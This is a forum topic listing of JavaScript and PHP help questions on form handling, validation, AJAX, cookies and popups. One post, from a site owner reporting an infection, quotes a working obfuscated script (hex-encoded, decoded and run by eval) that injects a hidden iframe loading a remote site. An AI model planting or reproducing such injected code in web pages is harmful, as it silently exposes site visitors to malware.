15,121 Topics

Member Avatar for
Member Avatar for Juriy

Guys plz need a help. I have index page [CODE] <form id="form1" name="form1" method="get" action="show.php"> <select name="cg" onchange="SearchC();" id="catG" > <option value="1" >ВСЕ КАТЕГОРИИ</option> <option value="2"<? if($pcat=="2")echo "selected='selected'"; ?>>subject</option> <option value="3" <? if($pcat=="3")echo "selected='selected'"; ?>>faculty</option> <option value="4" <? if($pcat=="3")echo "selected='selected'"; ?>>lecture</option> </select> </form> [/CODE] then [CODE] function SearchC() { var …

Member Avatar for Juriy
0
81
Member Avatar for dw_user

After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution.

Member Avatar for diafol
0
193
Member Avatar for uselessninja

i've been searching google and all i see is with button snippets ...can someone help me on how to multiply two textbox and displaying it to third texbox without using button ?..

Member Avatar for uselessninja
0
188
Member Avatar for devindamenuka

hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click …

Member Avatar for devindamenuka
0
177
Member Avatar for tjsail33

So I have a piece of code that is run as a bookmarklet that I am trying to edit, but I am unable to get it to work. The code checks for the presence of a button (the Awesome Button) and then clicks it every 15s, until the page is …

0
54
Member Avatar for mowen85

I have a drop down box of a fixed width. That drop down box needs to contain some values that are longer than the desired width. I'm happy for those values to be truncated, but I would like to display the full text in a tooltip (one that I could …

Member Avatar for juliorodmax
-1
2K
Member Avatar for keith85

I have a little problem here. I know its one of those easy things that is leaving me scratching my head, but I just can't figure it out. The homework assignment is to create a guess game. The user has to guess last year's best motion picture (The King's Speech …

0
52
Member Avatar for rayidi

Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I …

0
113
Member Avatar for siabenie

Hi all, I tried to do a CAPTCHA "error message - I would like an error message (pop up) show on the first page (checkForm.php) when user entered a wrong code/secureimage. At the moment the error message showing on the next page (processFrom.php) which isn't really what I want. Can …

Member Avatar for siabenie
0
877
Member Avatar for belama

I've come up with this code and cant figure out why nothing appears when I press the button. The table is soposed to show. Probably something really simple cuz I often stuck on stupid things. [HTML]<html> <head> <script type="text/javascript"> function appendtable() { var div = document.getElementById("divide"); var ControlsDesign = document.createElement("div"); …

Member Avatar for kedman1234
0
377
Member Avatar for vaanipala

I'm trying to populate the city select box based on the selected state (which is also a select box) using Ajax. When i select state, the city select box is not being populated. There are 5 models below: Student, MerryParent, MerryClass, State, City. All of them are related to one …

Member Avatar for vaanipala
0
516
Member Avatar for PinoyDev

Hi good day! I just want to know on how to center a new page window when click.. I have this java script below but it appears on top left. I want it to appear center of the screen on even in different resolution! [code=javascript] <a href="javascript:void(window.open('http://localhost/nonescostmpc/accnt_login.php','','width=350,height=220,left=0,top=0,resizable=no,menubar=no,location=no,status=no,scrollbars=no'))"> [/code] thank you!

Member Avatar for PinoyDev
0
113
Member Avatar for azegurb

hi all, I have built search form that it retrieves information from database. for ex: when i click axtar (search) button it retrieves normally but when i click ENTER button via keyboard instead of axtar (search) button but it only displays results with white blank page here is web page …

Member Avatar for Airshow
0
104
Member Avatar for come_again

Hello, I'm trying to access a value from an input form. I know this works without the onkeyup event but with it it says the that document.formname.elementid.value is undefined! Its extremely frustrating. As the user types into the input, I am using AJAX to generate some more options which works …

Member Avatar for Airshow
0
215
Member Avatar for AngelicOne

I'm using javascript for my client validation and I would like this to work the way I wanted to. I have three textboxes for last name, middle name and firstname. All the fields are mandatory and if the form is submitted there would be an error to display below the …

Member Avatar for AngelicOne
0
235
Member Avatar for jonsan32

I've got this scrolling marquee code to work on this page: [url]http://www.jamball.com/2011/07/club-teams.html[/url] [B]but it goes crazy in IE[/B]. [COLOR="Red"]I know IE sucks[/COLOR], but over 40% of our customers use it. Is there a way to fix the script, or must I scrap the entire idea? There is a table in …

0
102
Member Avatar for faganj

The problem that I'm having can be seen on this test page: [url]http://science.nature.nps.gov/im/1test.cfm[/url] We have a new mandatory Cold Fusion server-side redirect process for linking to external sites. We have some off-site links that use javascript drop-down menus that required a javascript work-around to work correctly with IE. The javascript …

0
96
Member Avatar for ErangaD

I am a VB.net programer and I am very new to PHP HTML and Java Scripts I am doing a project for my company using PHP HTML and Java Scripts and I want to Know how to make readonly a text box after it gets the input This text box …

Member Avatar for Airshow
0
175
Member Avatar for phaedrusGhost

Hi all, I found a slider that works quite good out of the box with the exception of one thing, sizing images to their proper size instead of default to the smaller size. I will most likely need to add various widths so I hope to have it display them …

0
80
Member Avatar for petrakid

I have two scripts. The first script creates a row in a table: [CODE] function addRow(tblId) { if(counter == limit) { alert("You cannot add more than " + limit + " passages!"); } else { var tblBody = document.getElementById(tblId).tBodies[0]; var newNode = tblBody.rows[0].cloneNode(true); tblBody.appendChild(newNode); counter++; } } [/CODE] ... the …

0
91
Member Avatar for petrakid

I am trying to write a script that will update my database(s) without the user having to click any buttons. I also want the update to occur whenever a field is modified in the form. So here is an example form [CODE] <form> <input type="text" name="fieldone" value="currentvalfromdb" onChange="updateDB()" /> <select …

Member Avatar for petrakid
0
1K
Member Avatar for MARKAND911

I have a textbox named "txtMoney" I want to validate this textbox using javascript. And its validation criteria are as follows [LIST] [*]Negative number is not allowed [*]All numerics. No letters [*]Only two digits after decimal [*]Maximum 12 digits including decimal [/LIST] How can i do this.

0
66
Member Avatar for cjohnweb

Let's say this is an unknown error, possibly a syntax error, possibly an HTML error - I can't be sure. Hey there, I'm a PHP expert, but not so well with JQuery - I'm just starting out with JS in general. I have a PHP based site I am working …

Member Avatar for Airshow
0
216
Member Avatar for AngelicOne

I know I am doing this right but it just doesn't work. The condition for radiobutton that if it's not checked then an alert should display. But it won't work! [CODE]<script> function valid() { var element = document.forms["form"]["gender"]; var check = false; for(i=0;i<=element.length;i++) { if(element[i].checked) { check = true; break; …

Member Avatar for AngelicOne
0
120
Member Avatar for emmas4impact

Dear all! I have a final year project on Google maps. The aim of the project create a map for a farm land in a city and to read the data to be displayed on the maps from a database. But the thing is I need someone who has done …

Member Avatar for emmas4impact
0
962
Member Avatar for uniquedevil65

hello everyone im new to this site and i require to submit a project title and i have to complete this project in html

Member Avatar for uniquedevil65
0
45
Member Avatar for floatingDivs

Hey guys, I've spent the last 20 or so minutes developing an OOP cookie-setting script. Unfortunately, even though everything I'm printing out via alert looks correct, the cookie won't set. Can someone take a look and see where I've made a mistake? [CODE] <script type="text/javascript"> function Cookie(){ this.cookieName; this.cookieExpiration; this.cookiePath; …

0
61
Member Avatar for sha11e

I couldn't do a xmlhttp.open("GET","website.com", true) The problem was something along the lines of the script not being allowed to call a page from another domain or something.. Is there some way to make it work anyway? =(

Member Avatar for Airshow
0
91
Member Avatar for Joemeister

Hi everyone! I'm really struggling at the moment calling these two functions. The one function checks that all the fields are filled in and the other to validate the date in a certain format. The function that checks all the fields works but when I try to call the second …

Member Avatar for Airshow
0
577
Member Avatar for faizurrahman

AS javascript date function return gregorian Date. Can I retrun Hijri Calendar date from javascript date function and how? Thanks in advance

Member Avatar for Airshow
0
1K

The End.